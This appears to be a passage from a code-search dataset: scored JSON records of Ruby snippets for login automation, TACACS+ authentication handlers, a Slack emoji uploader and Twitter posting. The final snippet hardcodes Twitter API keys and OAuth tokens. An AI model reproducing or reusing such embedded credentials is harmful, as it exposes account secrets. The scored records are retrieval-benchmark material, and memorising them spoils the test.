ff.link(:text,'Logout').exists?\n return ff\n\n end", "title": "" }, { "docid": "5a5cd3daf8c5582977b8f1ebcab61b40", "score": "0.5455351", "text": "def login_polaris(email,password)\n email_1.set(email)\n sleep 1\n password_1.set(password)\n sleep 1\n submit.click\n end", "title": "" }, { "docid": "e395693b182c426eb5420a5b4445535e", "score": "0.5450446", "text": "def fill_in_credentials\n hide_soft_keyboard\n clear_text_in(\"#{WEB_VIEW} xpath:'#{USER_NAME_FORM_XPATH}'\")\n enter_text(\"#{WEB_VIEW} xpath:'#{USER_NAME_FORM_XPATH}'\", CREDENTIALS[:username])\n hide_soft_keyboard\n\n clear_text_in(\"#{WEB_VIEW} xpath:'#{PASSWORD_FORM_XPATH}'\")\n enter_text(\"#{WEB_VIEW} xpath:'#{PASSWORD_FORM_XPATH}'\", CREDENTIALS[:password])\n hide_soft_keyboard\n end", "title": "" }, { "docid": "27b088d892446bcc35a8290e397c02e9", "score": "0.5441862", "text": "def authen_action_chpass(session,new_body)\n authen_start = session.authen_start\n authen_cont = session.authen_cont\n\n # make sure this is an ascii or enable request\n if (!authen_start.body.authen_type_ascii? && !authen_start.body.service_enable?)\n new_body.status_fail!\n new_body.server_msg = \"Only ascii password change requests are supported.\"\n return(nil)\n end\n\n if (!session.reply.body) # no previous conversation has taken place\n if (authen_start.body.user_len == 0)\n # request username\n new_body.status_getuser!\n new_body.server_msg = @tacacs_daemon.login_prompt\n else\n # request old password\n session.getuser = authen_start.body.user\n new_body.status_getdata!\n new_body.flag_noecho!\n new_body.server_msg = @tacacs_daemon.password_prompt\n end\n\n else # make sure we got what we asked for in last reply\n if (session.reply.body.status_getuser?)\n if (authen_cont.body.user_msg_len != 0)\n # request old password\n session.getuser = authen_cont.body.user_msg\n new_body.status_getdata!\n new_body.flag_noecho!\n new_body.server_msg = @tacacs_daemon.password_prompt\n\n else\n # fail\n new_body.status_fail!\n new_body.server_msg = \"Username requested but none provided.\"\n end\n\n elsif (session.reply.body.status_getdata?)\n if (authen_cont.body.user_msg_len != 0)\n # determine pass/fail status\n username = session.getuser\n password = authen_cont.body.user_msg\n\n pass_fail = authenticate(username, password, session.authen_start)\n\n if (pass_fail[:pass])\n new_body.status_getpass!\n new_body.flag_noecho!\n new_body.server_msg = \"New Password: \"\n else\n new_body.status_fail!\n new_body.server_msg = pass_fail[:msg]\n end\n\n else\n # fail\n new_body.status_fail!\n new_ body.server_msg = \"Password requested but none provided.\"\n end\n\n elsif (session.reply.body.status_getpass?)\n if (authen_cont.body.user_msg_len != 0)\n # determine pass/fail status\n username = session.getuser\n password = authen_cont.body.user_msg\n\n if (!session.getpass)\n session.getpass = password\n new_body.status_getpass!\n new_body.flag_noecho!\n new_body.server_msg = \"Verify Password: \"\n else\n if (session.getpass == password)\n user = @tacacs_daemon.users(username) if (username)\n\n if (session.authen_start.body.service_enable?)\n user.enable_password = password\n else\n user.login_password = password\n end\n new_body.status_pass!\n new_body.server_msg = \"Password updated.\"\n @tacacs_daemon.log(:info, ['msg_type=Authentication', 'message=Password has been updated.', \"status=#{new_body.xlate_status}\"],authen_start,@peeraddr,username)\n else\n new_body.status_fail!\n new_body.server_msg = \"Passwords did not match.\"\n end\n\n end\n\n else\n # fail\n new_body.status_fail!\n new_ body.msg = \"Password requested but none provided.\"\n end\n\n else\n # all other statuses are in error, so some sort of internal error must have occured\n new_body.status_error!\n new_body.server_msg = \"Internal Server Error. Unexpected status for ASCII change \" +\n \"password request: #{session.reply.body.status}\"\n @tacacs_daemon.log(:error, ['msg_type=Authentication', \"message=#{new_body.server_msg}\",\"status=#{new_body.xlate_status}\"],authen_start,@peeraddr)\n end\n end\n\n return(nil)\n end", "title": "" }, { "docid": "3120097e5a2cd7c796c50e644f7a45fb", "score": "0.54391026", "text": "def client_name= name\n page = @agent.get('http://workforceportal.elabor.com/ezLaborManagerNetRedirect/clientlogin.aspx')\n @page = page.form('ClientLoginForm') { |form|\n form.txtClientName = name\n form.hdnTimeZone = 'Pacific Standard Time'\n form['__EVENTTARGET'] = 'btnSubmit'\n }.submit\n @page = @page.form_with(:action => /ezlmportaldc2.adp.com/).submit\n @page = @page.form_with(:action => /adp\\.com/).submit\n end", "title": "" }, { "docid": "8ea11bc04780e728a011c6eddd674243", "score": "0.54378515", "text": "def Network_site_login(email,passwd,type)\n \n # New Firefox instance creation\n driver = Selenium::WebDriver.for :firefox, :profile => \"Selenium\"\n ff = Watir::Browser.new driver\n #ff.window.resize_to(800, 600)\n #ff.maximize()\n \n #capabilities = Selenium::WebDriver::Remote::Capabilities.firefox #(:javascript_enabled => true, :proxy=> Selenium::WebDriver::Proxy.new(:http => \"localhost:5865\"))\n #driver = Selenium::WebDriver::Remote::Capabilities.firefox(:profile => \"Selenium\")\n #ff = Watir::Browser.new(:remote, :url => \"http://127.0.0.1:4444/wd/hub\", :desired_capabilities => capabilities)\n# ff = Selenium::Client::Driver.new \\\n# :host => \"localhost\",\n# :port => 4444,\n# :browser => \"*chrome\",\n# :timeout_in_second => 60,\n# :url => \"https://p.network.u-samp.com/\"\n#\n# ff.driver.start_new_browser_session(:captureNetworkTraffic => true)\n #firefox.exe -P Selenium\n #ff = custom C:\\Program Files\\Mozilla Firefox\\firefox.exe -P firefox_browser\n #ff.clear_cookies\n # Opening Usampadmin site\n #capabilities = Selenium::WebDriver::Remote::Capabilities.firefox #(:javascript_enabled => true, :proxy=> Selenium::WebDriver::Proxy.new(:http => \"localhost:5865\"))\n #ff = Watir::Browser.new(:remote, :url => \"http://127.0.0.1:4444/wd/hub\", :desired_capabilities => capabilities)\n #ff = Watir::Browser.new(:remote, :url => \"http://127.0.0.1:4444/wd/hub\", :desired_capabilities => capabilities)\n #ff = Watir::Browser.new(:remote, :desired_capabilities => capabilities)\n #ff = Watir::Browser.start(\"http://127.0.0.1:4444/wd/hub\", :firefox, :remote)\n ff.goto('https://p.network.u-samp.com/login.php')\n #ff.clear_cookies\n # Setting login credentials (email/password)\n if (type == 'Client')\n ff.radio(:value, \"Client\").set\n else\n ff.radio(:value,\"Publisher\").set\n end\n ff.text_field(:id, \"txtEmail\").set(email)\n ff.text_field(:id, \"txtPassword\").set(passwd)\n #Click login button\n \n puts \"Before loging to Network site\"\n \n ff.link(:id,\"btnLogin\").click\n sleep 5\n \n puts \"After loging to Network site\"\n \n # Checkpoint to verify that login was successful\n #ff.frame(:id,\"iframebox\").link(:text, \"Click Menu Item\").click ...\n #iframe id=\"iframebox\"\n #ff.text.should include(\"welcome\")\n# if (ff.contains_text('Welcome'))\n# puts \"Logged it to Network site\"\n# else\n# puts \"Sorry! System Failed to login to Network site\"\n# end\n return ff\n end", "title": "" }, { "docid": "72a8e755f3c9f14faf20d1faff2d1a4c", "score": "0.543198", "text": "def mechanize; end", "title": "" }, { "docid": "c3e37b22c87e42541902e0cb63ba3f80", "score": "0.54287624", "text": "def login\r\n print \"Logging in... \"\r\n login_page = @agent.get \"https://www.economist.com/user/login\"\r\n login_form = login_page.form_with(:id => \"user-login\")\r\n login_form[\"name\"] = @credentials['email']\r\n login_form[\"pass\"] = @credentials['password']\r\n user_page = @agent.submit login_form\r\n\r\n # we check for the email address on the page.\r\n #If not present, we assume login failed\r\n @login_success = user_page.body.include?(@credentials['email'])\r\n if (@login_success)\r\n print \"success\\n\"\r\n else\r\n print \"error\\nPlease check you credentials\"\r\n end\r\n @login_success\r\n end", "title": "" }, { "docid": "7264f1ad885af24e1f14646f74160892", "score": "0.54210865", "text": "def authenticate_unimelb_by_pin(login,pin)\n agent = WWW::Mechanize.new\n page = agent.get \"https://sis.unimelb.edu.au/cgi-bin/subject-change.pl\"\n search_form = page.forms.last\n\n search_form.field_with(:name => \"id_number\").value = login\n search_form.field_with(:name => \"pin_number\").value = pin\n search_results = agent.submit(search_form)\n return search_results.body\nend", "title": "" }, { "docid": "a7a78162db355e7a3ef2f813c7a77cd9", "score": "0.5420754", "text": "def logon(browser, creds=credentials)\n name, email, password = creds\n browser.goto COMMUNITY_URL\n browser.url.should == COMMUNITY_URL\n\n # note, mac ff needs a couple of attempts to scroll view to Login\n login_elem = browser.link(:text, 'Login')\n scroll_right browser, login_elem\n attempt(3) { login_elem.hover }\n attempt(3) { login_elem.click }\n\n email_xpath = '//*[@id=\"login_form\"]//*[@id=\"email\"]'\n password_xpath = '//*[@id=\"login_form\"]//*[@id=\"password\"]'\n\n browser.text_field(:xpath, email_xpath).when_present.set email\n browser.text_field(:xpath, password_xpath).set password\n browser.button(:name, 'login').click\n end", "title": "" }, { "docid": "cc870949148c702bcb9834095f35c8b3", "score": "0.54133856", "text": "def login\n\t\t\tresponse = @http.get(\"/authentication/whoami\")\n\t if(response.code == '200')\n\t set_cookie(response)\n\t puts \"\"\n\t puts \"================\"\n\t puts \"login\"\n\t login_response = @http.post(\"/authentication/login\",\"username=#{@username}&password=#{@password}&skin=#{@skin}&account=#{@account}\",{'Cookie' => @cookies.to_s})\n\t check_cookie(login_response)\n\t login_check(login_response)\n\t puts \"--------\"\n\t else\n\t puts \"Error invalid host #{response.message}\"\n\t abort #if the login site is invalid, then abort\n\t end \n\t\tend", "title": "" }, { "docid": "2de80fed14337c85f68537da0ecd8a05", "score": "0.54088765", "text": "def login(username,password)\n puts \"in login\"\n sleep(2)\n switch_to_active_modal\n login_modal = find(LOGIN_MODAL)\n puts (\"login_modal is #{login_modal}\")\n find(USERNAME)\n type(USERNAME, username)\n password_field = find(PASSWORD)\n type(PASSWORD, password)\n password_field.submit()\n sleep(4)\n end", "title": "" }, { "docid": "0c20727b6f5d8de0fa31bc492abb0cf9", "score": "0.5406887", "text": "def chap_login(session,new_body)\n authen_start = session.authen_start\n new_body.server_msg = \"Username or password incorrect.\"\n\n if (!authen_start.header.minor_version_one?) # requires minor version 1\n new_body.status_fail!\n new_body.server_msg = \"Client sent malformed packet to server for CHAP login. \" +\n \"Minor version in TACACS+ header should be 1 but was #{authen_start.header.minor_version}.\"\n @tacacs_daemon.log(:error,['msg_type=Authentication', \"message=#{new_body.server_msg}\",\"status=#{new_body.xlate_status}\"],authen_start,@peeraddr)\n elsif (authen_start.body.user_len != 0 && authen_start.body.data_len != 0)\n # get ppp_id, challenge, and response. ppp_id = 1 octet, response = 16 octets, challenge = remainder\n challenge_len = authen_start.body.data_len - 17\n ppp_id = authen_start.body.data[0].chr\n challenge = authen_start.body.data[1,challenge_len]\n response = authen_start.body.data[challenge_len+1, authen_start.body.data_len-1]\n\n username = authen_start.body.user\n user = @tacacs_daemon.users(username) if (username)\n if (user && user.login_password)\n if (Digest::MD5.digest(ppp_id + user.login_password + challenge) == response)\n if (user.login_password_expired?)\n new_body.status_fail!\n new_body.server_msg = @tacacs_daemon.password_expired_prompt\n elsif (user.login_acl)\n match_results = user.login_acl.match(@peeraddr)\n if ( match_results[:permit] )\n new_body.status_pass!\n new_body.server_msg = \"\"\n else\n new_body.status_fail!\n new_body.server_msg = \"Authentication denied due to ACL restrictions on user.\"\n @tacacs_daemon.log(:info,['msg_type=Authentication', 'message=User attempted CHAP login to restricted device.',\"status=#{new_body.xlate_status}\"],authen_start,@peeraddr)\n end\n\n elsif (@tacacs_daemon.default_policy == :deny)\n new_body.status_fail!\n new_body.server_msg = \"Authentication denied due to ACL restrictions on user.\"\n @tacacs_daemon.log(:info,['msg_type=Authentication', 'message=CHAP login denied due to default policy.',\"status=#{new_body.xlate_status}\"],authen_start,@peeraddr)\n\n else\n @tacacs_daemon.log(:info,['msg_type=Authentication', 'message=CHAP login permitted due to default policy.',\"status=#{new_body.xlate_status}\"],authen_start,@peeraddr)\n new_body.status_pass!\n new_body.server_msg = \"\"\n end\n else\n new_body.status_fail!\n end\n else\n new_body.status_fail!\n end\n\n else\n new_body.status_fail!\n new_body.server_msg = \"Client requested CHAP login without providing both username and password.\"\n @tacacs_daemon.log(:warn,['msg_type=Authentication', \"message=#{new_body.server_msg}\",\"status=#{new_body.xlate_status}\"],authen_start,@peeraddr)\n end\n\n if (new_body.status_pass?)\n @tacacs_daemon.log(:warn,['msg_type=Authentication', 'message=Authentication successful.',\"status=#{new_body.xlate_status}\"],authen_start,@peeraddr)\n end\n\n return(nil)\n end", "title": "" }, { "docid": "7d86f47165a190a26519367c81f07dfe", "score": "0.54010147", "text": "def UserLogin(user)\n choose_language(user.language)\n username_tb.type_text(user.username)\n password_tb.type_text(user.password)\n partnerType = user.partnerType\n case partnerType\n when 'home'\n home_login_btn.click\n when 'pro'\n login_btn.click\n ent_restore_link.click\n when 'ent'\n login_btn.click\n #if (user.keyType == 'ckey')\n # if (\"#{QA_ENV['environment']}\" == \"staging\")\n # ent_restore_link_ckey.click\n # else if (\"#{QA_ENV['environment']}\" == \"production\")\n # ent_restore_link_ckey1.click\n # end\n # end\n #end\n\n if (\"#{QA_ENV['environment']}\" == \"staging\")\n if (user.keyType == 'ckey')\n ent_restore_link_ckey.click\n else\n ent_restore_link_stag.click\n end\n else if (\"#{QA_ENV['environment']}\" == \"production\")\n if (user.keyType == 'ckey')\n ent_restore_link_ckey1.click\n else\n ent_restore_link.click\n end\n\n else\n ent_restore_link.click\n end\n end\n\n when 'oem'\n login_btn.click\n ent_restore_link.click\n end\n #puts \"**********\"\n #puts page.response_headers()\n #puts `pwd`\n end", "title": "" }, { "docid": "fefd3c713af576d49d1e3c3af3602842", "score": "0.5397032", "text": "def homeandnewuser(driver)\n #Open page\n loggEr(\"Log: Open page #{URL_HOME}\")\n driver.get(URL_HOME)\n matchUrl(URL_HOME, driver)\n\n #Choose create a new user button and\n loggEr(\"Log: Click on the Create a new user button\")\n driver.find_element(:link, \"Create a new user\").click\nend", "title": "" }, { "docid": "bf7a19fd533c6230bb7ebe7fa78f7312", "score": "0.53954405", "text": "def test05_ValidLogin_TC_24862\n\t\t$browser.cookies.clear\n\t\t$browser.goto($patch_login)\n\t\t$email.set(\"#{$user_master_email}\")\n\t\t$password.set(\"#{$user_master_password}\")\n\t\t$sign_in_button.click\n\t\tsleep 4\n\t\t\n\t\tbegin \n\t\t\tassert $logged_in_avatar.exists?\n\t\t\trescue => e\n\t\t\tputs e\n\t\t\tputs \"LS2T2: FAILED! User not logged in.\"\n\t\tend\t\n\tend", "title": "" }, { "docid": "21fa0ac0e0badf024a346b35cec0ebf9", "score": "0.53878105", "text": "def scrape_connect\n Mechanize.new\nend", "title": "" }, { "docid": "21fa0ac0e0badf024a346b35cec0ebf9", "score": "0.53878105", "text": "def scrape_connect\n Mechanize.new\nend", "title": "" }, { "docid": "2a3f6fd97dc87c526ad65b2e8a0b1051", "score": "0.5386701", "text": "def test_NeedHelpLink\n\n loginpage = Hudl_Login_Page.new @@driver\n\n loginpage.ClickNeedHelp()\n\n end", "title": "" }, { "docid": "bbd1d22c5d418c3c41810538a88ff622", "score": "0.53849417", "text": "def sg_login_paypal_account(email, password)\n return false unless has_css?('#loginBox', wait: TimeOut::WAIT_BIG_CONST)\n\n # Enter PayPal Email\n login_form.email_txt.set email\n\n # Enter Password\n login_form.password_txt.set password\n\n # Click on Login button\n login_form.login_btn.click\n\n return account_info.text if has_pay_btn?(wait: TimeOut::WAIT_BIG_CONST)\n\n false\n end", "title": "" }, { "docid": "8a2e1756e9a46b71b9f5538846632fbe", "score": "0.53827155", "text": "def fb_login\n @driver.get(@login_url + 'login')\n email_field = @driver.find_element(:id, 'email')\n email_field.clear\n email_field.send_keys @fb_login['fb_user']\n password_field = @driver.find_element(:id, 'pass')\n password_field.clear\n password_field.send_keys @fb_login['fb_pass']\n @driver.find_element(:name, 'login').click\n wait = Selenium::WebDriver::Wait.new(:timeout => 10)\n wait.until do\n @driver.find_element(:id, 'q')\n end\n end", "title": "" }, { "docid": "0fe9374bb287b826b6302eec93138739", "score": "0.53589064", "text": "def login\n page = agent.get login_url\n page.form.field_with(name: \"username\").value = user\n page.form.field_with(name: \"password\").value = password\n page.form.submit\n unless agent.page.title.match(/Subscription Content/)\n raise \"Could not log in\"\n end\n agent\n end", "title": "" }, { "docid": "79f41ac67a9ff05837ef1bd76ecb4c95", "score": "0.5350973", "text": "def get_page(agent, creds, url, params, referer = nil)\n page = get_with_ref(agent, url, params, referer)\n if /text\\/html/ =~ page.response['content-type']\n if page.form && page.form.field_with(value: 'setup_admin')\n setup_admin = page.form\n setup_admin.username = creds[:username]\n setup_admin.password1 = creds[:password]\n setup_admin.password2 = creds[:password]\n abort \"Error: can't configure an unconfigured server unless an email address is given with --email or in secrets.yml\" unless creds[:email]\n setup_admin.email = creds[:email]\n page = setup_admin.submit\n end\n unless page.css('div#login_form').empty?\n login_form = page.forms[0]\n login_form.username = creds[:username]\n login_form.password = creds[:password]\n page = agent.submit(login_form)\n abort 'Error: login failed' unless page.css('div#login_form').empty?\n page = get_with_ref(agent, url, params, referer)\n end\n if page.form_with(id: 'oobepost')\n skip_trial = page.form\n page = skip_trial.submit(skip_trial.button_with(name: 'skiptrial'))\n end\n end\n page\nend", "title": "" }, { "docid": "35403873597fd864b340c9d9b65ff2c0", "score": "0.534829", "text": "def uploadEmoji\n log_file = open(LogFile, 'wb')\n agent = Mechanize.new\n agent.user_agent = 'Windows Mozilla'\n agent.get(@@url) do |page|\n response = page.form_with(:action => '/') do |form|\n formdata = {\n :email => @@email, # login mail address\n :password => @@password # login @@password\n }\n form.field_with(:name => 'email').value = formdata[:email]\n form.field_with(:name => 'password').value = formdata[:password]\n end.submit\n\n # if login fails, write error to log file and exit\n if response.code != '200' || response.body.include?(LoginFail)\n log_file.write(\"Login failed! Please check Slack url, email and password.\\n\")\n return -1\n end\n log_file.write(\"Login success!\\n\")\n\n # upload emoji\n Find.find(\"./image/\") do |image|\n next unless FileTest.file?(image) && (image =~ /\\.jpg\\Z/ || image =~ /\\.jpeg\\Z/ ||\n image =~ /\\.png\\Z/ || image =~ /\\.gif\\Z/)\n resizeImage(image)\n upName = File.basename(image,File.extname(image))\n agent.get(@@url + 'customize/emoji') do |emoji|\n if File.exist?(image)\n eresponse = emoji.form_with(:action => '/customize/emoji') do |eform|\n eform.field_with(:name => 'name').value = upName\n eform.radiobuttons_with(:name => 'mode')[0].check\n eform.file_upload_with(:name => 'img').file_name = ResizeName\n end.submit\n # write result to log\n # check responce code and body to decide success or failer\n if eresponse.code != '200' # check response code\n log_file.write(\"F Name:[\" + upName + \"] Result: \")\n log_file.write(\"Respose code is not 200. Failed to add emoji.\\n\")\n elsif eresponse.body.include?(AddSuccess) # add success log\n log_file.write(\"S Name:[\" + upName + \"] Result: \")\n log_file.write(\"Successfully added.\\n\")\n elsif eresponse.body.include?(DuplicateEmoji) # add error log - duplicate error\n log_file.write(\"F Name:[\" + upName + \"] Result: \")\n log_file.write(\"Same emoji name already exist.\\n\")\n else # add error log - unknown error\n log_file.write(\"F Name:[\" + upName + \"] Result: \")\n log_file.write(\"Unknown error occured.\\n\")\n end\n else # add error log - file not found\n log_file.write(\"F Name:[\" + upName + \"] Result: \")\n log_file.write(\"File not exist.\\n\")\n end\n end\n end\n end\n end", "title": "" } ]
04625ff7d72ee5f91731e890ab423281
POST /reqdevstatuses POST /reqdevstatuses.json
[ { "docid": "f7fa42bd0c91f15e6b4f6197804c1f21", "score": "0.5633157", "text": "def create\n @reqdevstatus = Reqdevstatus.new(reqdevstatus_params)\n\n respond_to do |format|\n if @reqdevstatus.save\n format.html { redirect_to @reqdevstatus, notice: 'Reqdevstatus was successfully created.' }\n format.json { render action: 'show', status: :created, location: @reqdevstatus }\n else\n format.html { render action: 'new' }\n format.json { render json: @reqdevstatus.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "702b552b6f1b01fec2c33623059ab6e1", "score": "0.613132", "text": "def create_statuses\n end", "title": "" }, { "docid": "702b552b6f1b01fec2c33623059ab6e1", "score": "0.613132", "text": "def create_statuses\n end", "title": "" }, { "docid": "c28ad5d86fbc4bc993a73f1765d4708e", "score": "0.6029885", "text": "def update_status(status)\n post \"statuses/update\", :post => {:status => status}\n end", "title": "" }, { "docid": "7245d9188c2e1f0ad6cd86fe4a52211b", "score": "0.599634", "text": "def postTweet(status)\n\t\t\t@client.update(status)\n\t\tend", "title": "" }, { "docid": "cb4f091ac23c752d70fa217c9c2fab69", "score": "0.59718114", "text": "def create(attrs, user = @@default_user)\n attrs = { project_token: @project_token }.merge(attrs)\n @attributes = send_request('statuses', :post) do |req|\n req.body = {\n status_object: attrs.slice(:name),\n token: attrs[:project_token],\n auth_token: user.auth_token\n }\n end\n end", "title": "" }, { "docid": "66965a44e78b33eacb574e5dba42efc8", "score": "0.57211655", "text": "def statuses\n request(:get, \"applicant_tracking/statuses\")\n end", "title": "" }, { "docid": "8c5a28a4d4916384fe15434f182a43af", "score": "0.5713007", "text": "def statuses\n Sifter.\n get(\"/api/statuses\").\n parsed_response[\"statuses\"]\n end", "title": "" }, { "docid": "71cbf3dea7eff45c019dca4c20637903", "score": "0.5686117", "text": "def index\n @reqdevstatuses = Reqdevstatus.all\n end", "title": "" }, { "docid": "9e29881c7583c150ee23c56207ed8c7e", "score": "0.5576308", "text": "def reqdevstatus_params\n params.require(:reqdevstatus).permit(:reqdevstatusname)\n end", "title": "" }, { "docid": "c711c767cc873ef7169810a4a3497d31", "score": "0.5509317", "text": "def update!\n response = Tessellator::Fetcher.new.call('get', 'https://howamidoing-duckinator.herokuapp.com/status.json')\n @@statuses = JSON.parse(response.body)['statuses']\n end", "title": "" }, { "docid": "4bb0d786cc3a1ba2358a5b760b5409c0", "score": "0.53785133", "text": "def queue\n raise StringTooBigError if status.length > MAX_STATUS_LENGTH\n api_url = 'http://twitter.com/statuses/update.json'\n url = URI.parse(api_url)\n req = Net::HTTP::Post.new(url.path)\n req.basic_auth(@@username, @@password)\n req.set_form_data({ 'status'=> status }, ';')\n res = Net::HTTP.new(url.host, url.port).start {|http| http.request(req) }.body\n @id = JSON.parse(res)[\"id\"]\n @created_at = JSON.parse(res)[\"created_at\"]\n self\n end", "title": "" }, { "docid": "41435f1c6bcb2503b85728207de74cbb", "score": "0.53704697", "text": "def tweet­_params\n params.require(:tweet­).permit(:status, :zombie_id)\n end", "title": "" }, { "docid": "1f46193e2ed646b41f640f0d07b0678b", "score": "0.53678524", "text": "def index\n @reqstatuses = Reqstatus.all\n end", "title": "" }, { "docid": "0cd6ca8e8d23d583c117d732cfb99a60", "score": "0.53614455", "text": "def list_statuses(user, list)\n get(\"/#{user}/lists/#{list}/statuses.json\")\n end", "title": "" }, { "docid": "923568f70a296b2696be4027bdcd5006", "score": "0.53506327", "text": "def create_status(name, description, level, image)\n response = @client.post(\"/api/v1/statuses\", { \"name\" => name, \"description\" => description, \"level\" => level, \"image\" => image })\n return JSON.parse(response.body)\n end", "title": "" }, { "docid": "d87b8c0e86b63d1c62d8a07567adb191", "score": "0.5319657", "text": "def destroy\n @reqdevstatus.destroy\n respond_to do |format|\n format.html { redirect_to reqdevstatuses_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7a399261942a9bb1cbdd625bf090ccd8", "score": "0.5317753", "text": "def add_status( thing, statusArray )\n data = {\n token: @applicationToken,\n thing_id: thing.id,\n id: 'null',\n status_array: statusArray\n }\n @httpHelper.post_data( 'status', data )\n end", "title": "" }, { "docid": "7b0e0de230a3613d52b4c912ed5cbe1d", "score": "0.5311002", "text": "def postEntityStatus( entity_id, status, inactive_reason, inactive_description)\n params = Hash.new\n params['entity_id'] = entity_id\n params['status'] = status\n params['inactive_reason'] = inactive_reason\n params['inactive_description'] = inactive_description\n return doCurl(\"post\",\"/entity/status\",params)\n end", "title": "" }, { "docid": "e1d61bf2a6a8693d3a8379a06714a7f1", "score": "0.5302464", "text": "def cURL\n \"curl --get 'https://stream.twitter.com/1.1/statuses/sample.json' --header '#{oauth_header}' --verbose end\"\n end", "title": "" }, { "docid": "34d831db7d39cc32bfbc3860966fb4ef", "score": "0.52712196", "text": "def update_status(payload, status)\n sha = payload.after\n repo = payload.repository.full_name\n state, description = status.first\n\n # setup http post\n uri = URI.parse(\"#{GITHUB_ROOT}/repos/#{repo}/statuses/#{sha}\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n\n # post to GitHub\n params = {:state => state, :description => description, :context => CONTEXT}\n http.post(uri.path, params.to_json, HEADERS)\nend", "title": "" }, { "docid": "2dd479916952894df700cb80f15c7cfb", "score": "0.52696854", "text": "def get_timeline\n HTTParty.post(\"#{@api_path}/tweets/#{@handle}/#{@password}\")\n end", "title": "" }, { "docid": "7eaa4a35557890538bfaa20bbd97ae00", "score": "0.5264191", "text": "def post_webhook\n HTTParty.post(\n \"https://api.trello.com/1/tokens/#{user.token}/webhooks/?key=#{ENV['TRELLO_KEY']}\",\n query: {\n description: \"Sprint webhook user#{user.id}\",\n callbackURL: \"#{ENV['BASE_URL']}webhooks\",\n idModel: trello_ext_id\n },\n headers: { \"Content-Type\" => \"application/json\" }\n )\n end", "title": "" }, { "docid": "c94d6ece866f31e69f61e7457a5b93f4", "score": "0.52447367", "text": "def create\n @current_statuses = CurrentStatus.new(current_statuses_params)\n\n respond_to do |format|\n if @current_statuses.save\n format.html { redirect_to @current_statuses, notice: 'Current Statuses was successfully created.' }\n format.json { render :show, status: :created, location: @current_statuses }\n else\n format.html { render :new }\n format.json { render json: @current_statuses.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a1942ebd9aaf3cbc0096ed7a77104a43", "score": "0.5226127", "text": "def create\n @tw_stat = TwStat.new(tw_stat_params)\n\n respond_to do |format|\n if @tw_stat.save\n format.html { redirect_to @tw_stat, notice: 'Tw stat was successfully created.' }\n format.json { render :show, status: :created, location: @tw_stat }\n else\n format.html { render :new }\n format.json { render json: @tw_stat.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "149122a1b30b39eeeef88f26a5d9564a", "score": "0.52231", "text": "def get_statuses_with_http_info(tid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DevicesManagementApi.get_statuses ...\"\n end\n # verify the required parameter 'tid' is set\n fail ArgumentError, \"Missing the required parameter 'tid' when calling DevicesManagementApi.get_statuses\" if tid.nil?\n # resource path\n local_var_path = \"/devicemgmt/tasks/{tid}/statuses\".sub('{format}','json').sub('{' + 'tid' + '}', tid.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'status'] = opts[:'status'] if !opts[:'status'].nil?\n query_params[:'dids'] = opts[:'dids'] if !opts[:'dids'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['artikcloud_oauth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'TaskStatusesEnvelope')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DevicesManagementApi#get_statuses\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "92928ffbf2e9d84d0a3fa51765f7bdee", "score": "0.5216841", "text": "def build_statuses(options = {})\n build_statuses_resource(options)\n end", "title": "" }, { "docid": "ee24242928fa493df435991b3bdf03d9", "score": "0.5214979", "text": "def create\n @status = current_user.statuses.new(status_params)\n\n if current_user.state_facebook? && @status.content?\n current_user.facebook(current_user).put_wall_post(@status.content)\n end\n\n if current_user.state_twitter? && @status.content?\n current_user.twitter(current_user).update(@status.content)\n end\n \n respond_to do |format|\n if @status.save\n format.html { redirect_to statuses_url, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @status }\n else\n format.html { redirect_to statuses_url }\n format.json { render json: @status.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f3e26112833164065dfa6ee6aeb5bc5a", "score": "0.52143395", "text": "def create\n @task = @project.tasks.new(task_params)\n @task.user = current_user if current_user.developer?\n @statuses = Task.statuses.keys\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to edit_project_task_path(@project, @task.id), notice: 'Task was successfully created.' }\n format.json { render :show, status: :created, location: @task }\n else\n puts @task.errors.as_json\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c61229d675018e310548d4101c857b00", "score": "0.5194704", "text": "def index\n\n #client = Twitter::REST::Client.new do |config|\n # config.consumer_key = \"0SA42a0JKM6PdD1q0PNCZg\"\n # config.consumer_secret = \"YV97lqlpZd7T1sNrkDMZOqN9Gnd1pvOxrzwgv9jQuo\"\n # config.access_token = \"106499488-wdXh967DnNt5e1zW26YBQYqSOCggCtu9SdivrAc8\"\n # config.access_token_secret = \"diKltR3e8H8T9K7fCuZfGxenvgpWsvN5PwdhEyX7tQ\"\n #end\n\n require \"rubygems\"\n\n # Certain methods require authentication. To get your Twitter OAuth credentials,\n # register an app at http://dev.twitter.com/apps\n Twitter.configure do |config|\n config.consumer_key = \"0SA42a0JKM6PdD1q0PNCZg\"\n config.consumer_secret = \"YV97lqlpZd7T1sNrkDMZOqN9Gnd1pvOxrzwgv9jQuo\"\n config.oauth_token = \"106499488-wdXh967DnNt5e1zW26YBQYqSOCggCtu9SdivrAc8\"\n config.oauth_token_secret = \"diKltR3e8H8T9K7fCuZfGxenvgpWsvN5PwdhEyX7tQ\"\n end\n\n # Initialize your Twitter client\n client = Twitter::Client.new\n\n # Post a status update\n client.update(\"I just posted a status update via the Twitter Ruby Gem !\")\n redirect_to request.referer, :notice => 'Tweet successfully posted'\n\n end", 